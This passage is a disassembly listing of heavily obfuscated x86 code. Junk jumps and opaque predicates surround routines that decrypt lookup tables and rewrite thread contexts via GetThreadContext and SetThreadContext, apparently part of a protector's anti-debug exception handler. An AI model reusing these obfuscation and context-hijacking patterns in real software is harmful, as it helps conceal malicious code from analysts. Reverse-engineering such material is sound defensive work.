		mov	ecx, dword_4F45C8[eax*4]
		shl	ecx, 2
		push	ecx
		call	sub_4C85E1
		add	esp, 4
		mov	[ebp-190Ch], eax
		mov	edx, [ebp-11B0h]
		mov	eax, [ebp-190Ch]
		mov	dword_4F44B8[edx*4], eax
		push	eax
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf
		pusha
		jmp	short loc_4BAF4C ; CODE	XREF: .text:loc_4BAF4Cj
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4BAF24:				; CODE XREF: .text:004BAF45j
		jmp	short loc_4BAF43
; ---------------------------------------------------------------------------


loc_4BAF26:				; CODE XREF: .text:loc_4BAF43j
		xor	ecx, ecx


loc_4BAF28:				; CODE XREF: .text:004BAF37j
		jz	short $+2
		jmp	short loc_4BAF3C
; ---------------------------------------------------------------------------


loc_4BAF2C:				; CODE XREF: .text:004BAF40j
		stc
		xor	ecx, 3
		jz	short loc_4BAEC2
		jmp	short loc_4BAF39
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4BAF35:				; CODE XREF: .text:loc_4BAF39j
		jmp	short loc_4BAF47
; ---------------------------------------------------------------------------
		jz	short loc_4BAF28


loc_4BAF39:				; CODE XREF: .text:004BAF32j
		jnb	short loc_4BAF35
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4BAF3C:				; CODE XREF: .text:004BAF2Aj
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4BAF2C
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4BAF43:				; CODE XREF: .text:loc_4BAF24j
		jmp	short loc_4BAF26
; ---------------------------------------------------------------------------
		jmp	short loc_4BAF24
; ---------------------------------------------------------------------------


loc_4BAF47:				; CODE XREF: .text:loc_4BAF35j
		repne sbb al, 0DBh
		jmp	short loc_4BAF4F
; ---------------------------------------------------------------------------


loc_4BAF4C:				; CODE XREF: .text:004BAF1Fj
		jmp	short near ptr loc_4BAF1F+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4BAF4F:				; CODE XREF: .text:004BAF4Aj
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		mov	dword ptr [ebp-11B8h], 0
		jmp	short loc_4BAF83
; ---------------------------------------------------------------------------


loc_4BAF65:				; CODE XREF: .text:004BB085j
		mov	ecx, [ebp-11B8h]
		add	ecx, 1
		mov	[ebp-11B8h], ecx
		mov	edx, [ebp-11B4h]
		add	edx, 1
		mov	[ebp-11B4h], edx


loc_4BAF83:				; CODE XREF: .text:004BAF63j
		mov	eax, [ebp-11B0h]
		mov	ecx, [ebp-11B8h]
		cmp	ecx, dword_4F45C8[eax*4]
		jnb	loc_4BB08A
		mov	edx, [ebp-11A4h]
		mov	eax, [edx]
		add	eax, [ebp-3Ch]
		mov	ecx, dword_4ED3EC
		xor	ecx, dword_4ED3AC
		xor	eax, ecx
		mov	edx, [ebp-11B0h]
		mov	ecx, dword_4F4530[edx*4]
		mov	edx, [ebp-11B8h]
		mov	[ecx+edx*4], eax
		mov	eax, [ebp-11A4h]
		add	eax, 4
		mov	[ebp-11A4h], eax
		mov	ecx, [ebp-11B0h]
		mov	edx, dword_4F4640[ecx*4]
		mov	eax, [ebp-11B8h]
		mov	ecx, [ebp-11A4h]
		mov	ecx, [ecx]
		mov	[edx+eax*4], ecx
		mov	edx, [ebp-11A4h]
		add	edx, 4
		mov	[ebp-11A4h], edx
		mov	eax, [ebp-11B0h]
		mov	ecx, dword_4F46C0[eax*4]
		mov	edx, [ebp-11B8h]
		mov	eax, [ebp-11A4h]
		mov	al, [eax]
		mov	[ecx+edx], al
		mov	ecx, [ebp-11A4h]
		add	ecx, 1
		mov	[ebp-11A4h], ecx
		mov	edx, dword_4ED3EC
		xor	edx, dword_4ED3AC
		mov	eax, [ebp-11A4h]
		mov	ecx, [eax]
		xor	ecx, edx
		mov	eax, [ebp-11B8h]
		xor	edx, edx
		mov	esi, 17h
		div	esi
		xor	ecx, [ebp+edx*4-119Ch]
		mov	edx, [ebp-11B0h]
		mov	eax, dword_4F44B8[edx*4]
		mov	edx, [ebp-11B8h]
		mov	[eax+edx*4], ecx
		mov	eax, [ebp-11A4h]
		add	eax, 4
		mov	[ebp-11A4h], eax
		jmp	loc_4BAF65
; ---------------------------------------------------------------------------


loc_4BB08A:				; CODE XREF: .text:004BAF96j
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh


loc_4BB09D:				; CODE XREF: .text:loc_4BB114j
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4BB0AD


loc_4BB0AA:				; CODE XREF: .text:004BB0CBj
		jmp	short near ptr loc_4BB0CD+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BB0AD:				; CODE XREF: .text:004BB0A8j
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4BB0C0
; ---------------------------------------------------------------------------
		db 0B8h
		db 0EBh, 0Fh
; ---------------------------------------------------------------------------


loc_4BB0B6:				; CODE XREF: .text:004BB0C2j
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4BB0C4
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BB0C0:				; CODE XREF: .text:004BB0B1j
		xor	eax, eax
		jz	short loc_4BB0B6


loc_4BB0C4:				; CODE XREF: .text:004BB0BDj
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4BB0AA


loc_4BB0CD:				; CODE XREF: .text:loc_4BB0AAj
		jmp	near ptr 92B24E33h
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		jmp	loc_4BAE0E
; ---------------------------------------------------------------------------


loc_4BB0DB:				; CODE XREF: .text:004BAE24j
		mov	ecx, dword_4F4784
		mov	[ebp-1910h], ecx
		mov	edx, [ebp-1910h]
		push	edx
		call	sub_4C85D6
		add	esp, 4
		pusha
		xor	eax, eax
		jnz	short loc_4BB0FD
		jmp	short loc_4BB112
; ---------------------------------------------------------------------------


loc_4BB0FD:				; CODE XREF: .text:004BB0F9j
		jmp	short loc_4BB132
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0C7A1875h
; ---------------------------------------------------------------------------


loc_4BB104:				; CODE XREF: .text:loc_4BB112j
		jo	short loc_4BB114
		jmp	short near ptr loc_4BB114+1
; ---------------------------------------------------------------------------
		dd 790E72E8h, 15FFF1h
; ---------------------------------------------------------------------------
		jns	short loc_4BB11B


loc_4BB112:				; CODE XREF: .text:004BB0FBj
		jz	short loc_4BB104


loc_4BB114:				; CODE XREF: .text:loc_4BB104j
					; .text:004BB106j
		jmp	short loc_4BB09D
; ---------------------------------------------------------------------------
		dw 7ADBh
		db 0F0h, 0A0h, 33h
; ---------------------------------------------------------------------------


loc_4BB11B:				; CODE XREF: .text:004BB110j
		popa


loc_4BB11C:				; CODE XREF: .text:004BACE2j
					; .text:004BACF1j
		push	ecx
		bswap	ecx
		not	ecx
		push	eax


loc_4BB122:				; CODE XREF: .text:004BB190j
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax


loc_4BB132:				; CODE XREF: .text:loc_4BB0FDj
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4BB13F


loc_4BB13C:				; CODE XREF: .text:004BB15Dj
		jmp	short near ptr loc_4BB15F+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BB13F:				; CODE XREF: .text:004BB13Aj
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4BB152
; ---------------------------------------------------------------------------
		db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------


loc_4BB148:				; CODE XREF: .text:004BB154j
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4BB156
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BB152:				; CODE XREF: .text:004BB143j
		xor	eax, eax
		jz	short loc_4BB148


loc_4BB156:				; CODE XREF: .text:004BB14Fj
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4BB13C


loc_4BB15F:				; CODE XREF: .text:loc_4BB13Cj
		jmp	near ptr 92B24EC5h
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		cmp	dword_4F4784, 0
		jz	loc_4BB608
		push	eax
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf
		pusha
		jmp	short loc_4BB1AC ; CODE	XREF: .text:loc_4BB1ACj
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4BB184:				; CODE XREF: .text:004BB1A5j
		jmp	short loc_4BB1A3
; ---------------------------------------------------------------------------


loc_4BB186:				; CODE XREF: .text:loc_4BB1A3j
		xor	ecx, ecx


loc_4BB188:				; CODE XREF: .text:004BB197j
		jz	short $+2
		jmp	short loc_4BB19C
; ---------------------------------------------------------------------------


loc_4BB18C:				; CODE XREF: .text:004BB1A0j
		stc
		xor	ecx, 3
		jz	short loc_4BB122
		jmp	short loc_4BB199
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4BB195:				; CODE XREF: .text:loc_4BB199j
		jmp	short loc_4BB1A7
; ---------------------------------------------------------------------------
		jz	short loc_4BB188


loc_4BB199:				; CODE XREF: .text:004BB192j
		jnb	short loc_4BB195
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4BB19C:				; CODE XREF: .text:004BB18Aj
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4BB18C
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4BB1A3:				; CODE XREF: .text:loc_4BB184j
		jmp	short loc_4BB186
; ---------------------------------------------------------------------------
		jmp	short loc_4BB184
; ---------------------------------------------------------------------------


loc_4BB1A7:				; CODE XREF: .text:loc_4BB195j
		repne sbb al, 0DBh
		jmp	short loc_4BB1AF
; ---------------------------------------------------------------------------


loc_4BB1AC:				; CODE XREF: .text:004BB17Fj
		jmp	short near ptr loc_4BB17F+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4BB1AF:				; CODE XREF: .text:004BB1AAj
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		mov	eax, [ebp-0A30h] ; CODE	XREF: .text:004BB22Bj
		mov	ecx, [eax+8]
		push	ecx
		call	sub_4BDA71
		add	esp, 4
		mov	[ebp-11C0h], eax
		jo	short loc_4BB1DA
		jl	short loc_4BB1D8


loc_4BB1D5:				; CODE XREF: .text:loc_4BB1D8j
					; .text:loc_4BB1DAj
		jmp	short loc_4BB1DC
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4BB1D8:				; CODE XREF: .text:004BB1D3j
		jz	short loc_4BB1D5


loc_4BB1DA:				; CODE XREF: .text:004BB1D1j
		jmp	short loc_4BB1D5
; ---------------------------------------------------------------------------


loc_4BB1DC:				; CODE XREF: .text:loc_4BB1D5j
		push	2CCh
		push	0
		lea	edx, [ebp-1494h]
		push	edx
		call	_memset_0
		add	esp, 0Ch
		mov	dword ptr [ebp-1494h], 10001h
		lea	eax, [ebp-1494h]
		push	eax
		mov	ecx, [ebp-11C0h]
		push	ecx
		call	dword_4ED0E0	; GetThreadContext
		push	eax
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf
		pusha
		jmp	short loc_4BB247 ; CODE	XREF: .text:loc_4BB247j
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4BB21F:				; CODE XREF: .text:004BB240j
		jmp	short loc_4BB23E
; ---------------------------------------------------------------------------


loc_4BB221:				; CODE XREF: .text:loc_4BB23Ej
		xor	ecx, ecx


loc_4BB223:				; CODE XREF: .text:004BB232j
		jz	short $+2
		jmp	short loc_4BB237
; ---------------------------------------------------------------------------


loc_4BB227:				; CODE XREF: .text:004BB23Bj
		stc
		xor	ecx, 3
		jz	short near ptr loc_4BB1B9+4
		jmp	short loc_4BB234
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4BB230:				; CODE XREF: .text:loc_4BB234j
		jmp	short loc_4BB242
; ---------------------------------------------------------------------------
		jz	short loc_4BB223


loc_4BB234:				; CODE XREF: .text:004BB22Dj
		jnb	short loc_4BB230
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4BB237:				; CODE XREF: .text:004BB225j
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4BB227
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4BB23E:				; CODE XREF: .text:loc_4BB21Fj
		jmp	short loc_4BB221
; ---------------------------------------------------------------------------
		jmp	short loc_4BB21F
; ---------------------------------------------------------------------------


loc_4BB242:				; CODE XREF: .text:loc_4BB230j
		repne sbb al, 0DBh
		jmp	short loc_4BB24A
; ---------------------------------------------------------------------------


loc_4BB247:				; CODE XREF: .text:004BB21Aj
		jmp	short near ptr loc_4BB21A+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4BB24A:				; CODE XREF: .text:004BB245j
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		mov	dword ptr [ebp-1498h], 0
		push	0FFFFFFFFh
		push	4
		lea	edx, [ebp-13DCh]
		push	edx
		call	sub_490FB0
		add	esp, 0Ch
		mov	[ebp-11C4h], eax
		mov	eax, [ebp-11C4h]
		xor	edx, edx
		mov	ecx, 1Eh
		div	ecx
		mov	[ebp-11C8h], edx
		mov	edx, [ebp-13DCh]
		push	edx
		mov	eax, [ebp-11C8h]
		call	off_4F1F00[eax*4]
		add	esp, 4
		mov	[ebp-1498h], eax
		mov	dword ptr [ebp-149Ch], 0
		mov	ecx, [ebp-11C8h]
		mov	edx, dword_4F45C8[ecx*4]
		mov	[ebp-11BCh], edx


loc_4BB2C6:				; CODE XREF: .text:loc_4BB32Ej
		mov	eax, [ebp-149Ch]
		cmp	eax, [ebp-11BCh]
		jge	short loc_4BB330
		mov	eax, [ebp-11BCh] ; CODE	XREF: .text:loc_4BB34Ej
		sub	eax, [ebp-149Ch]
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	ecx, [ebp-149Ch]
		add	ecx, eax
		mov	[ebp-14A0h], ecx
		mov	edx, [ebp-11C8h]
		mov	eax, dword_4F4530[edx*4]
		mov	ecx, [ebp-14A0h]
		mov	edx, [ebp-1498h]
		cmp	edx, [eax+ecx*4]
		jbe	short loc_4BB322
		mov	eax, [ebp-14A0h]
		add	eax, 1
		mov	[ebp-149Ch], eax
		jmp	short loc_4BB32E
; ---------------------------------------------------------------------------


loc_4BB322:				; CODE XREF: .text:004BB30Fj
		mov	ecx, [ebp-14A0h]
		mov	[ebp-11BCh], ecx


loc_4BB32E:				; CODE XREF: .text:004BB320j
		jmp	short loc_4BB2C6
; ---------------------------------------------------------------------------


loc_4BB330:				; CODE XREF: .text:004BB2D2j
		pusha
		xor	eax, eax
		jnz	short loc_4BB337
		jmp	short loc_4BB34C
; ---------------------------------------------------------------------------


loc_4BB337:				; CODE XREF: .text:004BB333j
		jmp	short loc_4BB36C
; ---------------------------------------------------------------------------
		db 0C0h, 75h, 18h
		db 7Ah,	0Ch
; ---------------------------------------------------------------------------


loc_4BB33E:				; CODE XREF: .text:loc_4BB34Cj
		jo	short loc_4BB34E
		jmp	short near ptr loc_4BB34E+1
; ---------------------------------------------------------------------------
		dw 72E8h
		dd 0FFF1790Eh, 9790015h
; ---------------------------------------------------------------------------


loc_4BB34C:				; CODE XREF: .text:004BB335j
		jz	short loc_4BB33E


loc_4BB34E:				; CODE XREF: .text:loc_4BB33Ej
					; .text:004BB340j
		jmp	short near ptr loc_4BB2D4+3
; ---------------------------------------------------------------------------
		dd 0A0F07ADBh, 958B6133h, 0FFFFEE38h, 3095048Bh, 8B004F45h
		dd 0FFEB648Dh, 88148BFFh
; ---------------------------------------------------------------------------


loc_4BB36C:				; CODE XREF: .text:loc_4BB337j
		cmp	edx, [ebp-1498h]
		jnz	loc_4BB608
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4BB39B


loc_4BB398:				; CODE XREF: .text:004BB3B9j
		jmp	short near ptr loc_4BB3BB+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BB39B:				; CODE XREF: .text:004BB396j
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4BB3AE
; ---------------------------------------------------------------------------
		db 0B8h, 0EBh, 0Fh
; ---------------------------------------------------------------------------


loc_4BB3A4:				; CODE XREF: .text:004BB3B0j
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4BB3B2
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BB3AE:				; CODE XREF: .text:004BB39Fj
		xor	eax, eax
		jz	short loc_4BB3A4


loc_4BB3B2:				; CODE XREF: .text:004BB3ABj
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4BB398


loc_4BB3BB:				; CODE XREF: .text:loc_4BB398j
		jmp	near ptr 92B25121h
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		jo	short loc_4BB3CD
		jl	short loc_4BB3CB


loc_4BB3C8:				; CODE XREF: .text:loc_4BB3CBj
					; .text:loc_4BB3CDj
		jmp	short loc_4BB3CF
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4BB3CB:				; CODE XREF: .text:004BB3C6j
		jz	short loc_4BB3C8


loc_4BB3CD:				; CODE XREF: .text:004BB3C4j
		jmp	short loc_4BB3C8
; ---------------------------------------------------------------------------


loc_4BB3CF:				; CODE XREF: .text:loc_4BB3C8j
		mov	eax, [ebp-11C8h]
		mov	ecx, dword_4F4640[eax*4]
		mov	edx, [ebp-149Ch]
		mov	eax, [ecx+edx*4]
		mov	[ebp-14B4h], eax
		mov	ecx, [ebp-13D4h]
		and	ecx, 0FD7h
		mov	[ebp-14A4h], ecx
		mov	edx, [ebp-14B4h]
		and	edx, 0FF000000h	; CODE XREF: .text:loc_4BB47Dj
		shr	edx, 18h
		mov	[ebp-14B0h], edx
		mov	eax, [ebp-14B4h]
		and	eax, 0FFFFFFh
		mov	[ebp-14ACh], eax
		mov	ecx, [ebp-13E8h]
		push	ecx
		mov	edx, [ebp-14A4h]
		push	edx
		mov	eax, [ebp-14ACh]
		push	eax
		mov	ecx, [ebp-14B0h]
		call	off_4ED844[ecx*4]
		add	esp, 0Ch
		mov	[ebp-14A8h], eax
		mov	edx, [ebp-14A8h]
		and	edx, 1
		test	edx, edx
		jz	loc_4BB50D
		pusha
		xor	eax, eax
		jnz	short loc_4BB466
		jmp	short loc_4BB47B
; ---------------------------------------------------------------------------


loc_4BB466:				; CODE XREF: .text:004BB462j
		jmp	short loc_4BB49B
; ---------------------------------------------------------------------------
		dd 7A1875C0h
		db 0Ch
; ---------------------------------------------------------------------------


loc_4BB46D:				; CODE XREF: .text:loc_4BB47Bj
		jo	short loc_4BB47D
		jmp	short near ptr loc_4BB47D+1
; ---------------------------------------------------------------------------
		db 0E8h, 72h, 0Eh
		dd 15FFF179h
		db 0, 79h, 9
; ---------------------------------------------------------------------------


loc_4BB47B:				; CODE XREF: .text:004BB464j
		jz	short loc_4BB46D


loc_4BB47D:				; CODE XREF: .text:loc_4BB46Dj
					; .text:004BB46Fj
		jmp	short near ptr loc_4BB403+3
; ---------------------------------------------------------------------------
		db 0DBh
		dd 33A0F07Ah, 38858B61h, 8BFFFFEEh, 44B8850Ch, 858B004Fh
		dd 0FFFFEB64h
		db 33h,	0D2h, 0BEh
; ---------------------------------------------------------------------------


loc_4BB49B:				; CODE XREF: .text:loc_4BB466j
		pop	ss
; ---------------------------------------------------------------------------
		dd 0F7000000h, 64858BF6h, 8BFFFFEBh, 8C33810Ch,	0FFEE6495h
		dd 24958BFFh, 3FFFFECh,	249589D1h, 51FFFFECh, 0D1F7C90Fh
		dd 0B8D0F750h, 6C65696Dh, 0C0DEB991h, 0F791DEADh, 0D1F758D0h
		dd 33609C59h, 0EB0374DBh, 0DB33EB22h, 0DEB0074h, 0B90FEBB8h
		dd 34F9C987h, 574F990h,	74C033EBh, 0C987B8F2h, 0C0854840h
		dd 61E9DD75h, 6692669Dh, 0EBC08B92h
		db 75h
; ---------------------------------------------------------------------------


loc_4BB50D:				; CODE XREF: .text:004BB459j
		jo	short loc_4BB516
		jl	short loc_4BB514


loc_4BB511:				; CODE XREF: .text:loc_4BB514j
					; .text:loc_4BB516j
		jmp	short loc_4BB518
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4BB514:				; CODE XREF: .text:004BB50Fj
		jz	short loc_4BB511


loc_4BB516:				; CODE XREF: .text:loc_4BB50Dj
		jmp	short loc_4BB511
; ---------------------------------------------------------------------------


loc_4BB518:				; CODE XREF: .text:loc_4BB511j
		mov	eax, [ebp-11C8h]
		mov	ecx, dword_4F46C0[eax*4]
		mov	edx, [ebp-149Ch]
		xor	eax, eax
		mov	al, [ecx+edx]
		mov	ecx, [ebp-13DCh]
		add	ecx, eax
		mov	[ebp-13DCh], ecx
		push	eax
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf
		pusha
		jmp	short loc_4BB575 ; CODE	XREF: .text:loc_4BB575j
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4BB54D:				; CODE XREF: .text:004BB56Ej
		jmp	short loc_4BB56C
; ---------------------------------------------------------------------------


loc_4BB54F:				; CODE XREF: .text:loc_4BB56Cj
		xor	ecx, ecx


loc_4BB551:				; CODE XREF: .text:004BB560j
		jz	short $+2
		jmp	short loc_4BB565
; ---------------------------------------------------------------------------


loc_4BB555:				; CODE XREF: .text:004BB569j
		stc
		xor	ecx, 3
		jz	short near ptr dword_4BB49C+4Fh
		jmp	short loc_4BB562
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4BB55E:				; CODE XREF: .text:loc_4BB562j
		jmp	short loc_4BB570
; ---------------------------------------------------------------------------
		jz	short loc_4BB551


loc_4BB562:				; CODE XREF: .text:004BB55Bj
		jnb	short loc_4BB55E
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4BB565:				; CODE XREF: .text:004BB553j
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4BB555
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4BB56C:				; CODE XREF: .text:loc_4BB54Dj
		jmp	short loc_4BB54F
; ---------------------------------------------------------------------------
		jmp	short loc_4BB54D
; ---------------------------------------------------------------------------


loc_4BB570:				; CODE XREF: .text:loc_4BB55Ej
		repne sbb al, 0DBh
		jmp	short loc_4BB578
; ---------------------------------------------------------------------------


loc_4BB575:				; CODE XREF: .text:004BB548j
		jmp	short near ptr loc_4BB548+1
; ---------------------------------------------------------------------------
		db 0B8h
; ---------------------------------------------------------------------------


loc_4BB578:				; CODE XREF: .text:004BB573j
		popa
		popf
		bswap	eax
		not	ecx
		bswap	eax
		not	ecx
		push	ecx
		bswap	ecx
		not	ecx
		push	eax
		not	eax		; CODE XREF: .text:loc_4BB600j
		mov	eax, 6C65696Dh
		xchg	eax, ecx
		mov	ecx, 0DEADC0DEh
		xchg	eax, ecx
		not	eax
		pop	eax
		not	ecx
		pop	ecx
		pushf
		pusha
		xor	ebx, ebx
		jz	short loc_4BB5A5


loc_4BB5A2:				; CODE XREF: .text:004BB5C3j
		jmp	short near ptr loc_4BB5C5+1
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BB5A5:				; CODE XREF: .text:004BB5A0j
		xor	ebx, ebx
		jz	short $+2
		jmp	short loc_4BB5B8
; ---------------------------------------------------------------------------
		db 0B8h
		db 0EBh, 0Fh
; ---------------------------------------------------------------------------


loc_4BB5AE:				; CODE XREF: .text:004BB5BAj
		mov	ecx, 34F9C987h
		nop
		stc
		jz	short loc_4BB5BC
; ---------------------------------------------------------------------------
		db 0EBh
; ---------------------------------------------------------------------------


loc_4BB5B8:				; CODE XREF: .text:004BB5A9j
		xor	eax, eax
		jz	short loc_4BB5AE


loc_4BB5BC:				; CODE XREF: .text:004BB5B5j
		mov	eax, 4840C987h
		test	eax, eax
		jnz	short loc_4BB5A2


loc_4BB5C5:				; CODE XREF: .text:loc_4BB5A2j
		jmp	near ptr 92B2532Bh
; ---------------------------------------------------------------------------
		xchg	ax, dx
		mov	eax, eax
		lea	edx, [ebp-1494h]
		push	edx
		mov	eax, [ebp-11C0h]
		push	eax
		call	dword_4ED0DC	; SetThreadContext
		pusha
		xor	eax, eax
		jnz	short loc_4BB5E9
		jmp	short loc_4BB5FE
; ---------------------------------------------------------------------------


loc_4BB5E9:				; CODE XREF: .text:004BB5E5j
		jmp	short near ptr loc_4BB61D+1
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0C7A1875h
; ---------------------------------------------------------------------------


loc_4BB5F0:				; CODE XREF: .text:loc_4BB5FEj
		jo	short loc_4BB600
		jmp	short near ptr loc_4BB600+1
; ---------------------------------------------------------------------------
		dd 790E72E8h, 15FFF1h
; ---------------------------------------------------------------------------
		jns	short loc_4BB607


loc_4BB5FE:				; CODE XREF: .text:004BB5E7j
		jz	short loc_4BB5F0


loc_4BB600:				; CODE XREF: .text:loc_4BB5F0j
					; .text:004BB5F2j
		jmp	short near ptr loc_4BB588+1
; ---------------------------------------------------------------------------
		dw 7ADBh
		db 0F0h, 0A0h, 33h
; ---------------------------------------------------------------------------


loc_4BB607:				; CODE XREF: .text:004BB5FCj
		popa


loc_4BB608:				; CODE XREF: .text:004BAC89j
					; .text:004BB16Fj ...
		mov	dword ptr [ebp-0A34h], 10002h
		jmp	short loc_4BB66A
; ---------------------------------------------------------------------------


loc_4BB614:				; CODE XREF: .text:004BAA19j
		jo	short loc_4BB61D
		jl	short loc_4BB61B


loc_4BB618:				; CODE XREF: .text:loc_4BB61Bj
					; .text:loc_4BB61Dj
		jmp	short loc_4BB61F
; ---------------------------------------------------------------------------
		db 0E8h
; ---------------------------------------------------------------------------


loc_4BB61B:				; CODE XREF: .text:004BB616j
		jz	short loc_4BB618


loc_4BB61D:				; CODE XREF: .text:loc_4BB614j
					; .text:loc_4BB5E9j
		jmp	short loc_4BB618
; ---------------------------------------------------------------------------


loc_4BB61F:				; CODE XREF: .text:loc_4BB618j
		mov	ecx, [ebp-0A30h]
		mov	edx, [ecx+0Ch]	; CODE XREF: .text:004BB695j
		mov	[ebp-14B8h], edx
		mov	eax, [ebp-14B8h]
		mov	[ebp-1AA8h], eax
		cmp	dword ptr [ebp-1AA8h], 0C0000008h
		jz	short loc_4BB660
		cmp	dword ptr [ebp-1AA8h], 0C00000FDh
		jz	short loc_4BB660
		cmp	dword ptr [ebp-1AA8h], 0C0000235h
		jz	short loc_4BB660
		jmp	short loc_4BB66A
; ---------------------------------------------------------------------------


loc_4BB660:				; CODE XREF: .text:004BB644j
					; .text:004BB650j ...
		mov	dword ptr [ebp-0A34h], 10002h


loc_4BB66A:				; CODE XREF: .text:loc_4BA558j
					; .text:loc_4BAA02j ...
		jmp	loc_4BC095
; ---------------------------------------------------------------------------


loc_4BB66F:				; CODE XREF: .text:004B9E59j
		mov	ecx, [ebp-0A30h]
		cmp	dword ptr [ecx], 2
		jnz	short loc_4BB6F8
		push	eax
		not	eax
		bswap	eax
		pop	eax
		jnb	short $+2
		pushf
		pusha
		jmp	short loc_4BB6B1 ; CODE	XREF: .text:loc_4BB6B1j
; ---------------------------------------------------------------------------
		sal	byte ptr [eax+0Eh], cl


loc_4BB689:				; CODE XREF: .text:loc_4BB6AAj
		jmp	short loc_4BB6A8
; ---------------------------------------------------------------------------


loc_4BB68B:				; CODE XREF: .text:loc_4BB6A8j
		xor	ecx, ecx


loc_4BB68D:				; CODE XREF: .text:004BB69Cj
		jz	short $+2
		jmp	short loc_4BB6A1
; ---------------------------------------------------------------------------


loc_4BB691:				; CODE XREF: .text:004BB6A5j
		stc
		xor	ecx, 3
		jz	short near ptr loc_4BB625+2
		jmp	short loc_4BB69E
; ---------------------------------------------------------------------------
		db 0B9h
; ---------------------------------------------------------------------------


loc_4BB69A:				; CODE XREF: .text:loc_4BB69Ej
		jmp	short loc_4BB6AC
; ---------------------------------------------------------------------------
		jz	short loc_4BB68D


loc_4BB69E:				; CODE XREF: .text:004BB697j
		jnb	short loc_4BB69A
; ---------------------------------------------------------------------------
		db 0F2h
; ---------------------------------------------------------------------------


loc_4BB6A1:				; CODE XREF: .text:004BB68Fj
		sbb	bl, bl
		xor	ebx, ebx
		jmp	short loc_4BB691
; ---------------------------------------------------------------------------
		db 0E9h
; ---------------------------------------------------------------------------


loc_4BB6A8:				; CODE XREF: .text:loc_4BB689j
		jmp	short loc_4BB68B
; ---------------------------------------------------------------------------


loc_4BB6AA:				; CODE XREF: .text:loc_4BB721j
		jmp	short loc_4BB689
; ---------------------------------------------------------------------------


